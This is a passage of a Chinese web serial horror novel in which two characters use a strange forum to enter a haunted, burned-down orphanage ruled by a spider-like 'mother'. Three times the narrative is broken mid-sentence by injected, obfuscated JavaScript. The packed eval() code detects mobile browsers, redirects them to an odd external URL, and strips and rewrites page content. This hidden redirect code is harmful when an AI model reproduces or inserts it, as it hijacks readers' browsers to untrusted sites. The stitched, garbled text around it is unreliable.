季青的笔尖在随身携带的笔记本上画着圈,她认真思考着:虽然她手握管理员特权,但是这几项特权暂时没有用得到的地方,反而是常岚作为用户的权限可以立马发挥作用。 闹钟的铃声响起,她拿起手机,现在是7月1日19:00,点击论坛网址,依然显示【您访问的网页不存在】。 把手机扣回桌上的季青又把注意力放到常岚身上:“那注册用户的权限,比如评论和发帖,你昨晚试过了吗?” “试过了!”常岚双手撑在桌子上,直接站了起来,“评论这块,我翻了几个帖子的评论区,没发现什么特别的,但是!” 他越说越兴奋,恨不得半个身子越过桌子,急切地向季青展示自己昨晚的发现,“但是这个发帖功能,我发现发布的帖子只能是怪谈相关的。” 虽然常岚嘴上安慰季青说师父已经失踪三年,耽误一天也没事,但师父把他拉扯大,真有了论坛这个线索,不尝试进行寻找是不可能的。 所以昨晚常岚完成对论坛的初步探索后,先是修改了默认头像和用户名。他特意和师父选择了一样的格式,用道观门口的大银杏树作头像,昵称修改为了凝真观-常岚,寄希望于看过师父帖子的其他用户能留有印象。 接着,他开始尝试发布寻人启事。 常岚最开始发布的寻人启事非常正式,就差把“师父回家”四个字放在标题了,可刚一点击发送,就被系统删除,并跳出了弹窗。 【根据用户条款,仅可发布您发现或核实的怪谈】 常岚纠结半天,在论坛首页逛来逛去,虽然没有刷到师父发的帖子,但发现帖子的状态栏有着[核实存在]和[暂未核实]两个状态。 人在走歪门邪道的时候反应总是很快,常岚马上想到,既然怪谈故事需要核实,那么是不是说明论坛本身并不知道发布的怪谈是真是假? 也就是说他只要编个故事当作怪谈,就可以发出去了对吧! 于是常岚把自己和师父的相遇的经历添油加醋当作怪谈故事发布了出去,终于等来了【发布成功】的弹窗。 “不过,”说完发帖的事,常岚又坐了回去,瘫在椅子上,“我发完帖子就睡了,直到中午才睡醒,然后论坛就打不开了。” “难道论坛出现的时间是随机的吗?” 季青转着手上的黑色水笔回答:“应该不是随机出现,我第一次进入论坛的时候,刚好是论坛即将关闭的时候,甚至看到了关闭倒计时。” 当时应该是早上五点…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449124|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “既然存在关闭倒计时这么严谨的设定,那么开关时间就应该有规律可循。” 而两次进入论坛,都是在凌晨,所以她才和常岚约到晚上碰面,准备看看到底是几点能够进入论坛。 季青每隔一小时就定一次闹钟,刷新一次页面,想着至少把论坛出现的时间准确到某个小时,方便他们进行下一步的探索。 常岚撇撇嘴,往后一仰,把椅子翘得高高的,然后随手拿起手机又刷了一下论坛网页。 “哎??——哎!!” 伴随着惊讶的喊声,常岚毫不意外地没有保持住椅子的平衡,哐一下摔到地上。 季青赶紧绕到桌子这边,打算拉他起来,但常岚完全没有感到痛一样,只是兴奋地举着手机给季青看: “论坛刷出来了!” 季青马上看了一下手机,7月1日19:30,七点她才看过手机,那时论坛网页还显示的“您访问的页面不存在”。 也就是说今天论坛出现的时间是晚上七点到七点半之间,而上次看到的关闭时间大约是五点,也就是说至少每天晚上七点半到凌晨五点这段时间,就是论坛的开放时间? 很好,比想象中要早不少,那她接下来的行动安排就更加宽松了。 季青把常岚撂在地上,转头在笔记本上记下论坛这两天开关的时间。 常岚倒是自己乖乖爬起来,立马进入论坛的历史发帖界面,看了下自己昨天发的帖子,嗯……虽然是意料之中的0回复,但多少还是有点失望。 常岚还在不甘心地刷新帖子,屏幕上方却弹出了消息提示。 【转账】委托人季青向你转账1000元。 在季青解释这笔钱是怎么回事之前,常岚就发出了尖叫—— 与此同时,本来晴朗的夜空突然响起的滚滚雷鸣,似乎是一种威吓,或者……警告? “冤枉啊!!!”常岚一边尖叫着一边迅速退回转账,“吕祖在上这真不是我敲诈委托人!!!老天快收了神通吧!!!” 季青还没搞明白常岚在搞什么,转头却发现雷鸣居然真的立刻平息了。 常岚擦了擦额头冒出的冷汗,才向季青解释: “你还记不记得,我的委托费是二两银子,随银价变动的。” 季青点点头,接着顺手查了下今日银价,九块七,二两就是九百七。 季青揉了揉眉心:“……你的意思该不会是我给多了吧……” “就是这样,”常岚一脸生无可恋地瘫回椅子上,“以前想过靠道法咒术发财,触怒天道,被师父逼着发誓委托费不会超过二两银子,才没被雷劈死。” 季青了然,继续面无表情地操作着手机。 【转账】委托人季青向你转账970元。 “所以,”常岚看着新跳出来的消息提示无奈扶额,“季老师这次要委托什么?” 季青让常岚在论坛上搜索了一个关键词,很快,屏幕上出现一首童谣: 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 留在妈妈的羽翼下, 门外的蜘蛛吃娃娃。 睡吧睡吧好孩子呀, 红茧会成为你的家, 好孩子要永远留下, 长成崭新的布娃娃。 8. 心巢孤儿院(一) 标题:【救命啊,为什么家附近被烧毁的孤儿院,那个废墟里一直有童谣的歌声传出来……】 发帖人:打开天窗说脏话 IP:A市发帖时间:2023年8月12日 板块:#鬼故事我从小听到大#恐怖童谣#童年阴影#我真没招了#诚心求助 怪谈状态:核实存在 【如题,楼主因为图便宜,买了老城后郊区这边的房子,旁边就是那个几年前被烧毁的心巢孤儿院废墟。 虽然旁边有个事故现场还挺恐怖的,但我一唯钱主义者怕啥?直接入住! 现在才知道,我怕爆了! 住进来明白为什么鬼地方这么便宜:因为这里还真是鬼地方!楼主半夜,而且只有半夜会听到一阵小孩唱歌的声音从废墟里飘出来。 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 留在妈妈的羽翼下, 门外的蜘蛛吃娃娃。 睡吧睡吧好孩子呀, 红茧会成为你的家, 好孩子要永远留下, 长成崭新的布娃娃。 唱来唱去就这几句,反反复复,声音明明很小,但是听得特别清楚,超级惊悚! 午夜!哪家正常小孩那个点在废墟里唱歌?! 楼主越想越不对劲,之后就留意打听这个孤儿院的事,结果谁都不知道详情,好像这个孤儿院就只剩个名字了。 最后楼主还是在这个论坛找到了一点资料,给大家捋捋,据说那场烧毁孤儿院的大火,火势非常猛,消防赶到时主体结构都快烧没了。 奇怪的是这么大的火,不仅讨论少得可怜,甚至没有人提到伤亡情况,好像整个孤儿院里的人都凭空消失了。 据说火灾调查发现是孤儿院的院长,不知为何亲手纵的火,烧死了所有人!说不定官方就是考虑到这个事情影响不好,才把这个消息压了下来。 而且在楼主翻到一些更早的旧闻里,提到过一个细思极恐的点: 虽然一直有孩子被送进那家孤儿院,但似乎没人亲眼见过有孩子从孤儿院出来。 我真的没撒谎!这才刚过午夜12点,我又听到歌声了! 在线等,挺急的,今晚不敢睡了。】 —————— 常岚的表情非常精彩,他缓缓抬起头:“那么季老师,选择这么诡异的地方是有什么特别的理由吗?” “嗯……”季青揉了揉眉心,“刚刚帖子里有提到,似乎没有人见到过从孤儿院里出来的孩子对吧?” 常岚摸着下巴,其实并没有在思索:“好像提到了。” 季青指了指自己:“那你现在见到了。” “……?” 看着常岚疑惑的神色,季青耐心解释:“我之前和你说过,我对自己家没有概念,其实孤儿院里每个孩子都是这样。我们没有过去,我们的人生,就从进入心巢孤儿院开始。” 季青掏出自己的手机,展示了血红色的倒计时和冷酷的格式化说明,现在还剩7个小时,7小时之后她就会失去目前寻找真相的唯一线索。 原本瘫坐在椅子上的常岚慢慢直起了身体,脸上的戏谑之色褪去,漆黑的瞳仁注视着季青。 他明白了季青的意思,这不是一场因诡异论坛而一时兴起的“探险”,对季青来说,这其实是一场和论坛展开较量的求真之旅。 “我在这座孤儿院度过了几乎一整个青少年时期。”季青的声音依旧平静,脸上却难得地露出一点迷茫和忧虑。 心巢孤儿院承载着季青多年的回忆,可等季青放暑假回到孤儿院看望大家的时候,这里只剩下一片废墟。 季青打听了很久,可是附近所有人都不知道发生了什么,孤儿院似乎只剩下了名字和那一场骇人听闻的大火。只有论坛里还有零星的帖子能证明它“存在过”并且至今仍在“发生“着什么。 而如今,最后一点存在的记录也要消失了。 常岚听完沉默了半晌,突然站起身,抓了抓头发:“行吧!就算我不接这一单,你也会自己去的吧。”他的脸上恢复了那种轻松的神气,但眼神已然认真了很多。 “不过委托费就免了,我还指望季老师早日升级成高级管理员给我把师父揪出来呢。” 火灾现场废墟、孤儿院、诡异童谣、发帖人不再回复……这么多debuff在身,常岚非但不害怕,甚至还打开手机,语气兴奋地说:“刚好试试论坛的标记显示功能,你看!” 季青看着常岚举起的手机屏幕,黑底白线的地图上,有着数个心脏一样脉动的红点,最中间的那个最红最大,下面红字标注着【爱心之巢孤儿院】。 常岚尝试点击了一下标志着孤儿院的红点,地图自动放大,下方还出现了【是否开启实时导航】的弹窗。 两人面面相觑,显然都在想着同一件事,跳动的红色标记好像一颗鲜红的禁果,散发出一股危险但诱人的气息。 季青看了一下自己的手机,锁屏显示7月1日19:55,和计划中差不多,现在出发肯定赶得上在怪谈信息删除之前进入孤儿院。 于是季青露出一个看似温暖的微笑,实则用不容置疑的语气说到:“我们现在就出发去探查一下怎么样?” 而常岚…… 不愧是直觉派,他没把话听完就立马就点击了【开启实时导航】。 手机屏幕短暂黑屏了一下,接着显示出放大的地图,从起点的凝真观延伸出几条红线,上面贴心的标注了线路方案。 考虑到常岚的七星剑实在过不了地铁安检,两个人还是选择了最方便的路线,忍痛打了一辆专车过去。 因为无法定位到已经变成废墟的孤儿院,两人的目的地随便选了附近的一家超市,下车后常岚还跟着季青步行了一小截路。 没过一会,常岚手机上还没关闭的实时导航就提示目的地已在附近。 两人一同望向路边不远处。 目标实在太显眼了…… 一片巨大的、被锈蚀的铁栏杆勉强围起来的黑色废墟,沉默地匍匐在浓重的夜色里。 焦黑的残垣断壁如同巨兽坍塌的脊骨,狰狞地刺向夜空。几段扭曲的钢筋混凝土框架依稀还能看出昔日建筑的轮廓,大部分区域则已被杂草和焦土覆盖。 空气中,弥漫着一股难以言喻的味道——并非单纯的焦糊味,而是一种更陈旧的、混合着尘埃、霉菌和一丝若有若无……令人发毛的诡异气息。 万籁俱寂,只有风吹过的呜咽声。 季青默默打开了手机的手电筒功能,微弱光柱扫过断裂的墙体、扭曲的铁栏杆,最终定格在废墟入口处的大铁门那字迹斑驳的牌匾上。 依稀能辨认出中间的图标是一个被羽翼护佑的鸟巢,从左到右写着“爱心之巢孤儿院”几个字。 曾经在孤儿院度过的温暖记忆也在季青的脑海中慢慢浮现上来,但她今天不是来怀旧的。 现在有了常岚的用户发帖权限,她打算对论坛的核实功能加以利用,发布多个关于孤儿院的规则推测帖,用来拼凑当年的真相和寻找解决怪谈的方法。 即使不被“格式化”,她也不想让曾经温暖的孤儿院,作为恐怖的都市传说流传下去。 常岚听完季青的计划,思来想去觉得有道理,就蹲在路边按照季青的指示,开始挨个发布看似莫名其妙的关于孤儿院怪谈的帖子。 季青则徘徊在门口,用自己手机刷新着刚刚让常岚发的帖子,顺便等待12点怪谈开启时刻的到来。 时间一分一秒过去,周围静得可怕,不知不觉间,连夏夜的虫鸣和夜晚的风声都消失了,仿佛被这片废墟吞噬。 只有常岚百无聊赖地踢着地上的小石子,脚下的碎砖和灰烬发出细微的声响。 突然—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449125|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵极其细微、缥缈不定,仿佛从另一个世界传来的哼唱声,像一根冰冷的蛛丝,骤然钻入钻入了两人的耳膜。 “睡吧、睡吧、好孩子呀……”“窗外的月光轻轻洒……” 歌声断断续续,忽左忽右,仿佛有无数个孩子躲在不同的残垣断壁后哼唱,又像是从地底蔓延上来,仿佛遍布整个废墟。 现在肯定还不到12点,怎么会有童谣声? 常岚猛地抬起头,季青刷新页面的手指也瞬间僵住。 手机屏幕上上,常岚刚刚发布的帖子中有一个,状态栏【暂未核实】突然闪烁了一下,伴随着黑红色马赛克的消失,状态栏变成了【核实存在】。 根本不需要等到十二点,从他们进入这片区域开始,这个孤儿院就已经盯上他们了! “它知道我们来了……”常岚缓缓站起身,同时将七星剑从剑鞘中抽出一小节,往季青这边靠近。 季青迅速翻看着其他推测帖,挨个记下了刚刚发送帖子的状态,她的手心微微出汗,并不是因为恐惧,而是一种精神高度集中的兴奋: 一切都还在计划之中,她离孤儿院的真相从未如此之近! 那诡异的童谣声还未停止,反而越来越清晰,越来越多的声音加入合唱,逐渐汇聚成一支冰冷、空灵而又执拗的合唱团: “留在妈妈的羽翼下, 门外的蜘蛛吃娃娃……” 就在这时,两人手中的手机屏幕突然同时亮起刺眼的白光,屏幕上不再是论坛界面,而是一片扭曲、跳动的雪花噪点! 与此同时,一股扭曲的牵引力从地下传来,季青手腕颤抖,几乎握不住手机! “把手机扔掉!”常岚似乎也遇到了一样的情况,两人反应极快,迅速把手机扔到地上。 两部手机着地,却没有发出声响,屏幕上的雪花噪点非但没有消失,反而化为一种粘稠的液体般从手机里“流”了出来,迅速渗入地面。 下一秒—— 无数只半透明的小手从他们脚下的阴影里伸出,冰冷刺骨的触感瞬间攥住了他们的脚踝和手腕,一股大得惊人的力量,猛地将他们向下拉扯! 常岚剑鞘顿地,金光乍现,灼烧得那些小手发出“滋滋”的声响,但这批小手退下的同时,无数红色的丝线破土而出,将常岚缠绕得密不透风! “伤害家人……坏孩子……改造……”一个明显不属于孩子的,低沉的成年女声突兀地出现。 季青感到一阵强烈的眩晕,地面的砖石在他眼中变成了流动的泥沼,她挣扎着抬头,看到常岚的剑光被无数坚韧的红色丝线迅速吞噬、隔绝。 最后看到的景象,是常岚试图冲破红线抓住她,可很快,一股无法抗拒的下坠感彻底包裹了季青。 “红茧……会成为你的家……”童谣在这一刻达到了高潮,就在他们耳边齐声歌唱! 仿佛过了一秒,或者一个世纪。 下坠感骤然停止。 季青发现自己仍然站在废墟前,仿佛刚才的一切只是幻觉。 但是,月光变得惨白而朦胧,周围的废墟已经消失了。 取而代之的事一座和季青记忆中相同,完好无损、甚至有些温馨的“爱心之巢孤儿院”。 一只冰凉的小手牵起了季青的手,将她恍惚的思绪拉了回来。 她低头看去,一个穿着白色衣服的陌生小女孩,正仰着头看她,用那空灵的声音唱到: “好孩子要……永远留下……” 此时孤儿院的大门悄无声息地打开,里面漆黑一片,只有几个穿着白衣的孩子探出头来,悄悄望着季青。 小女孩牵着季青走进大门,季青的脚不受控制地动了起来,几乎是进入孤儿院的一瞬间,大门就在背后关上了。 在无边的黑暗中,季青听到周围许多孩子同时发出的声音: “欢迎回家,姐姐。” 9. 心巢孤儿院(二) 季青的眼睛逐渐适应了黑暗,惨白的月光透过孤儿院高大的窗倾泻,将眼前这座名为“爱心之巢”的孤儿院镀上一层虚幻的柔光。 它与季青记忆中别无二致,格局、布置、甚至连装饰品的摆放似乎都是原来的样子。 只是……季青注意到大厅最上方悬挂的孤儿院的图标不同了,今晚来到孤儿院废墟的时候,它都还是季青记忆中的样子,是一个被羽翼护佑的鸟巢。 而现在,它变成了一只盘踞在大网中的蜘蛛…… 季青微微皱起眉,低下头看着牵着自己的那只冰凉小手的主人:一个大约七八岁、穿着干净白色制服的小女孩。 季青有点出神,这衣服季青也很熟,从前院长妈妈就会给这里的每个孩子都做几套,衣领上还绣着每个人的名字。 小女孩察觉到季青的目光,仰起脸,面容被月光和窗棂的阴影切碎,显得有些模糊,嘴角却挂着一个过分热情到近乎刻板的微笑。 “欢迎回家,姐姐。”小女孩的声音空灵悦耳,声线却缺乏起伏,“大家都在等你。” 季青的目光这才越过她,看向那几个站在门后的孩子,他们都穿着统一的白色制服,脸上是同样热情过分的笑容,带着纯净却也空洞的目光目送着季青前往孤儿院深处的走廊。 季青也认真辨认着门后孩子们僵硬的笑脸,其中几张面孔,是她记忆中应该和自己年龄差不多的老朋友,他们,凝固在了童年的模样…… 不容她细想,小女孩已经牵着她的手,一同迈向大厅最右侧那条走廊,踏入走廊的瞬间,一股暖意扑面而来,与大厅冷寂的氛围形成鲜明对比。 “我带你去见妈妈。”小女孩松开手,指向走廊尽头一扇虚掩的门,“妈妈会告诉你怎么在这里做一个好孩子。” 季青深吸一口气,轻声回了句:“好。”可她突然注意到,自己的声音竟然变得相当稚嫩,她不可置信地抬起手,连手掌都缩小了一圈,甚至身上的衣服也变成了和其他孩子一样的白色制服,季青低头看向衣领的边角,上面同样用金线绣着名字。 她变成了自己当年刚入孤儿院的孩童模样? 虽然已经在叠影怪谈中见识过超自然力量,但这种切切实实发生在自己身上的改变让季青不由得感到毛骨悚然。 如果怪谈连这种违背自然规律的事都做得到,那几乎意味着暴力破局根本就是痴心妄想,季青握紧拳头,强迫自己冷静下来,心里默背着进入孤儿院之前被验证的规则帖内容。 这次估计必须依靠这些规则存活下去,直到找到破局的方法! 她走向那扇门,几乎是有些迫不及待地推开——这里面原本有她最想见的人。 门后是一间温馨的办公室,里面也没有开灯,依靠着大而明亮的窗户透出月光照亮。窗边坐着一个穿着米黄色针织开衫、盘着发髻的中年女人,鼻梁上架着一副金丝眼镜。 中年女人转过头来,看到季青后,脸上绽开一个无比温柔、充满母性光辉的笑容。 “好孩子。”她的声音极其柔和,“到妈妈这里来。” 季青的身体不受控制地走向“妈妈”,“妈妈”蹲下身来将季青紧紧搂住,季青心中充满了疑惑,张口却无法发出声音—— 孤儿院里的孩子,还有“院长妈妈”,为什么都说着“欢迎回家”,却又像是不认识自己的样子? 难道是因为她现在的身体是刚进入孤儿院的状态,所以曾经在这里长大的经历也消失了吗? 院长妈妈轻轻拍着季青的背,安慰道:“不要害怕,这里没有人会伤害你,从今天起融为我们中的一员,以后就再也不会孤单了。” 她的笑容无懈可击,她的话语温暖动人。 但季青并没有放下警惕。 季睁开眼睛,环顾着院长办公室,有限的视线定格在院长身后的墙壁上,那里有着季青过去从未见过的东西: 一个巨大的、装饰精美的复杂圆形表盘,表盘中央,一根猩红的指针,正指向一个刻度:【87%】。 刻度下方,用工整的话题镌刻着一行花体英文:OverallHarmony。 整体和谐度?这是什么意思? 院长妈妈将季青从怀抱中放开,又顺着季青的目光看去,摸了摸季青的脑袋,耐心为她解释:“这是‘和谐之钟’。它保佑着我们这个大家庭永远充满爱与和平。” “好孩子,你要记住,在这里,保持快乐,保持顺从,保持和谐,就是最重要的规则。大家的和谐度越高,我们的生活就会越幸福。” 院长妈妈冰凉修长的手指轻轻抚过季青的额头:“你会成为一个好孩子的,对吗?” 她的触碰让季青起了一层鸡皮疙瘩。 季青垂下眼睑,模仿着其他孩子的笑容,乖巧地点了点头。 院长妈妈满意地笑了,转身从院长办公桌的抽屉里,拿出一个精致的礼盒,捧到季青面前。 这个黑色天鹅绒质感的礼盒只有孩子手掌大小,上面系着天蓝色的丝带,精致可爱。 季青在院长妈妈期待的目光下打开礼盒,里面是一个同样系着天蓝色丝带的精致小铃铛胸针。 院长妈妈放下盒子,取出铃铛胸针,给季青戴上:“这是你的‘心铃’,要时刻戴在身上。它会提醒你,要保持和谐哦。” 在铃铛胸针别到衣领上的瞬间,季青清晰地感觉到,一种无形的、令人窒息的束缚感缠绕了上来。 季青下意识顺着束缚感的来源望去——随着胸针被别上衣领,“和谐之钟”上面复杂的齿轮转动着。 红色指针“咔”一下,下降到了84%。 联想到之前院长妈妈关于和谐度的话,季青马上看向院长妈妈的脸: 院长妈妈的眼睛微微眯起,一丝陌生的、微弱的不满和不耐烦一闪而过。但在察觉到季青的视线后,马上又恢复成温柔的模样,笑着说: “没关系,新来的孩子总是这样,以后要努力学着做一个好孩子哦。” 院长妈妈说完牵着季青的手,将她领到了宿舍。 宿舍和记忆中有所不同,原本数个房间,现在变成了一个巨大的宽敞房间,一排排小床整齐摆放在房间中。 孩子们过分安静地躺在床铺上,没有人吵闹,即使没有睡着的孩子,也只是睁着眼睛躺在床铺上。 和谐,一切都要和谐。 院长妈妈将季青领到最后方的一张空床铺旁,季青乖巧地坐在床沿,环顾四周,发现只有隔壁的床位空着。 这个床位该不会是…… 她仰起头,假装一脸天真地问院长妈妈:“院长妈妈,为什么只有这个床上没有小朋友?” 院长妈妈俯下身,凑近季青的耳边,季青看不到她的表情,但呼出的冰冷气息打在脖颈上,让季青抖了一抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449126|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “坏孩子要先成为好孩子,才能进来住哦。” 说完院长妈妈怜爱地摩挲了一下季青的脸,拉着她躺下、盖好被子,这才转身离开。 季青在黑暗中悄悄睁着眼睛,直到院长妈妈的脚步声远去,她才把手放到铃铛胸针上,这个胸针联系着和谐之钟,说不定是某种监视器。 想要偷偷出去探查,还是先把这个取下来比较好。 季青借着月光在衣领上摸索着,但是……这个胸针的别针消失了? 就像是焊在衣领上一样,季青不由得使了一点劲,看看能不能把胸针扯下来。 “叮铃——” 一声轻微却无比清晰的铃声在死寂中炸响! 仿佛触发了某个开关,宿舍里全部二三十个孩子在同一瞬间齐刷刷地坐了起来! 他们没有说话,只是面无表情地、直勾勾地看向季青,眼球在黑暗中反射着微光。 宿舍的地板上不知何时钻出数条鲜红的丝线,如同有生命般蠕动着探寻着,向季青的床铺涌来! 紧接着,走廊外传来了声音:不是院长的脚步声,而是某种沉重的、多节肢体拖过地板的刮擦声,正由远及近,速度极快地奔来! 季青不敢再有所动作,马上躺平,闭紧眼睛,控制着自己的呼吸和心跳,将一切情绪死死压制。 那刺耳的刮擦声在门外徘徊了片刻,红色丝线在她床边游移了一会,最终缓缓缩回。 季青在重临的死寂中睁开眼,她明白了。 “和谐度”不是一个抽象概念,它是一个实时监控系统,衡量着每个孩子“顺从”的程度,任何出格的行为,都会导致和谐度下降。 这里没有温情,只有一场披着“家”的外衣、用“爱”包装的,残酷无比的过家家游戏。 而出局的后果…… 季青只好又乖乖闭上眼睛假装睡觉,期间几次悄悄眯起眼睛,不知过了多久,等到所有孩子又逐渐躺回床铺睡觉。 季青这才悄无声息地坐起身,时间紧迫,她不想放弃自己探查孤儿院的方案,还是决定冒险尝试。 她溜到了宿舍楼的走廊,凭借对孤儿院结构的记忆,按照顺时针顺序,顺利找到了几个自己比较确定的房间,食堂、厨房、储藏室、卫生间…… 几乎所有布局和她记忆中一样,实在没找到什么她没见过的房间。 那常岚被带去了哪里? 季青绕了一圈,最终回到了大厅,窗外巨大的月亮洒下的月光很亮,落在地上勾勒出窗户的形状。 这时,隐约传来一种缓慢而粘稠的、仿佛什么巨大东西在砖瓦上行动的声音,伴随着这声音的,还有极轻微的、窸窸窣窣的摩擦声。 季青此时正低着头,站在大厅中央投下的月光之中,借着透入的惨淡月光,她看到了。 一个难以名状的巨大阴影从窗外被投影下来,将季青笼罩在其中,数条巨大节肢在阴影中若隐若现,缓慢地蠕动着。节肢的顶端是扭曲、变形的类人手掌,正微微颤抖…… 季青猛地后退一步,紧贴着窗户旁的墙壁防止被发现,心脏在胸腔里疯狂擂动。 她突然想起了童谣的歌词: “留在妈妈的羽翼下, 门外的蜘蛛吃娃娃……” 她不能看,贴着墙壁飞快地溜回了宿舍,并没有注意到: 窗外数只鲜红的复眼正注视着她的离去。 10. 心巢孤儿院(三) 季青凭借记忆迅速摸回宿舍,从门缝里溜了进去。 可就在季青准备回到自己的床铺时,一只冰冷的小手突然牵住了她—— 她的心脏几乎停跳了一拍,猛地回头望去,却对上一双平静的眼睛。 那个女孩从门后的阴影中悄无声息地走出,正是一开始领着季青进入孤儿院的那个女孩。 月光勾勒出女孩领口上微微闪烁的金线,那是她的名字:安瑞宁。 为什么这个女孩没有睡觉?她是专门在这里等自己吗?她会告诉院长妈妈自己溜出去的事吗? 突如其来的变故让季青的脑子里瞬间充满了问题,可她还没说出口,安瑞宁冰冷的手指就轻轻点在季青唇上,示意她不要出声。 她什么也没说,安瑞宁只是牵着季青的手,带她回床铺,像个小大人一样给季青盖好被子。 安瑞宁半跪在床边,凑过来小小声说:“你什么都没有看到,只要一直装作没看到,以后就看不到了。” 她轻轻握着季青的手,说道:“只要按妈妈说的做,一切都会变好,我在这里很久了,一直很听话,听话就不会有事。” “放心吧,没什么好怕的。” 安瑞宁带着一种和外表极不相符的熟稔和老成,她安慰似地轻轻拍了拍季青的手,走到了宿舍另一头,回到自己的床铺闭上眼睛。 季青这时却敏锐地注意到了安瑞宁话中的细节:安瑞宁说自己在这里已经很久了,而她的床铺也在最靠近门边的位置,季青的床铺和旁边的空床铺都在最后方。 种种迹象都表明安瑞宁或许真的是这里资格最老的孩子。 可是季青过去在孤儿院根本没有见过她!安瑞宁一定是在季青离开孤儿院去上学之后,才来到孤儿院的。 为什么这么晚来的安瑞宁,却是在这里最久的孩子? 时间概念在这个孤儿院里似乎已经扭曲崩坏。 时空扭曲? 一个奇妙的念头突然出现在季青的脑海: 那是不是意味着,这里的时空和外界并不一致?那她出去之后应该就不会影响工作安排! 季青居然有松了一口气的感觉。 放松下来的她在诡异的孤儿院里睡了近一个月来最舒服的一觉…… 天亮时分,起床铃响起,季青很熟悉这个旋律,只是这个铃声不像过去一样从电铃中响起,而是院长妈妈亲自站在门口,手持一根小金属棍,用三角铃敲击出单调的节奏。 孩子们如同上了发条的玩具,被旋律这无形的丝线拉扯着,挨个起身,面无表情地开始穿衣、收拾床铺、洗漱、排队离开宿舍。 整个过程安静地可怕,只有布料摩擦的窸窣声响。 季青跟在队尾,目光始终追随着安瑞宁,只见她熟练地走在队伍最前面,甚至偶尔会回头用眼神示意后面动作慢的孩子加快速度,俨然一副“小管理员”的姿态。 早餐在同样死寂的氛围中进行,孩子们依次围坐在餐厅长桌旁,季青是最后一个,只好坐在了长桌的一头。 长长的餐桌上摆放着水果和牛奶泡的燕麦片,碗中没有热气,季青悄悄伸手摸了一下,凉的。 正在季青疑惑的时候,院长妈妈无声无息地出现在长桌的另一端,正面对着季青。 所有孩子立刻都坐直了身子,双手规整地放在膝盖上,脸上是一模一样的热情微笑。 季青用余光注意到其他孩子的动作,也赶紧把摸碗的手放到了膝盖上,露出热情得有些虚伪的微笑。 院长妈妈环顾一圈,看着大家坐得整整齐齐,才微微一笑。 她清了清嗓子,牵起左右两边孩子的手,用热情到令季青头皮发麻的表情,和极其甜美温柔的声音说道: “今天,我们又有了一位新的家人!让我们按照惯例,为这位新成员举行欢迎仪式!” 从院长妈妈那头开始,孩子们如同链条般连锁反应,依次牵起手,直到季青也和左右的孩子握紧手掌,大家一齐闭眼。 童谣响起,那熟悉的、诡异的旋律再次回荡: 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 留在妈妈的羽翼下, 门外的蜘蛛吃娃娃。 睡吧睡吧好孩子呀, 红茧会成为你的家, 好孩子要永远留下, 长成崭新的布娃娃。 在歌声响起的刹那,季青感到无数细小的、冰凉刺骨的脚正顺着被孩子们紧握的双手爬上她的身体! 季青被牢牢牵制,紧接着脖颈一阵尖锐的刺痛传来! 她猛地睁开眼睛,试图驱散病毒般蔓延上来的异样眩晕感—— 可眼前的景象让她愣在了当场: 哪里还有什么温馨孤儿院? 原本精致锃亮的长桌变得腐朽破烂、布满霉斑和蛛网;桌上的水果早已腐烂作一滩软泥,流出黑褐色的汁液;而面前原本盛放牛奶和麦片的碗里,更是有无数疯狂扭动、翻滚着的苍白蛆虫! 视野下方,一个猩红的UI界面弹出: 【警告:个人和谐值下降20%】 【当前个人和谐值:30%】 【当前整体和谐值:83%】 【警告:感知侵入能力下降,产生同步异常】 季青不可置信地晃了晃脑袋,这个UI界面像弹幕一样,随着她的视野一起微微晃动,接着消失了。 此时一只通体赤红、长着诡异人脸花纹的小蜘蛛,从她领口掉落,飞快地顺着桌腿窜上餐桌。 她的视线下意识地追随蜘蛛而上—— 看到了院长妈妈近到几乎与她鼻尖相贴的脸。 院长妈妈的身体整个伏在长桌上,四肢和脖颈纤细异常,明明脚还留在长桌那端,头和脖子却能扭成诡异的九十度,伸到季青面前! 惨白的脸上那鲜红的嘴唇正狰狞地微笑,而空洞的眼睛直勾勾地盯着季青! 一点声息也没有,即使已经近到可以数清她的睫毛,可季青甚至没有感觉到院长妈妈的呼吸。 没有呼吸,没有温度,没有生机。 “好孩子,”她的嘴唇几乎没动,冰冷的声音却直接钻入季青的耳膜,与周围欢快的童谣形成恐怖的二重奏,“你……看到了什么?” 季青没有挪开视线,她反手更紧地握住旁边的两个孩子,镇定地说:“您离得太近了,只能看到您,院长妈妈。” 院长妈妈的头颅和身体缓缓缩了回去,诡异的笑容却没有消失。 她拍了拍手,歌声戛然而止。 “仪式完成,用餐吧孩子们。” 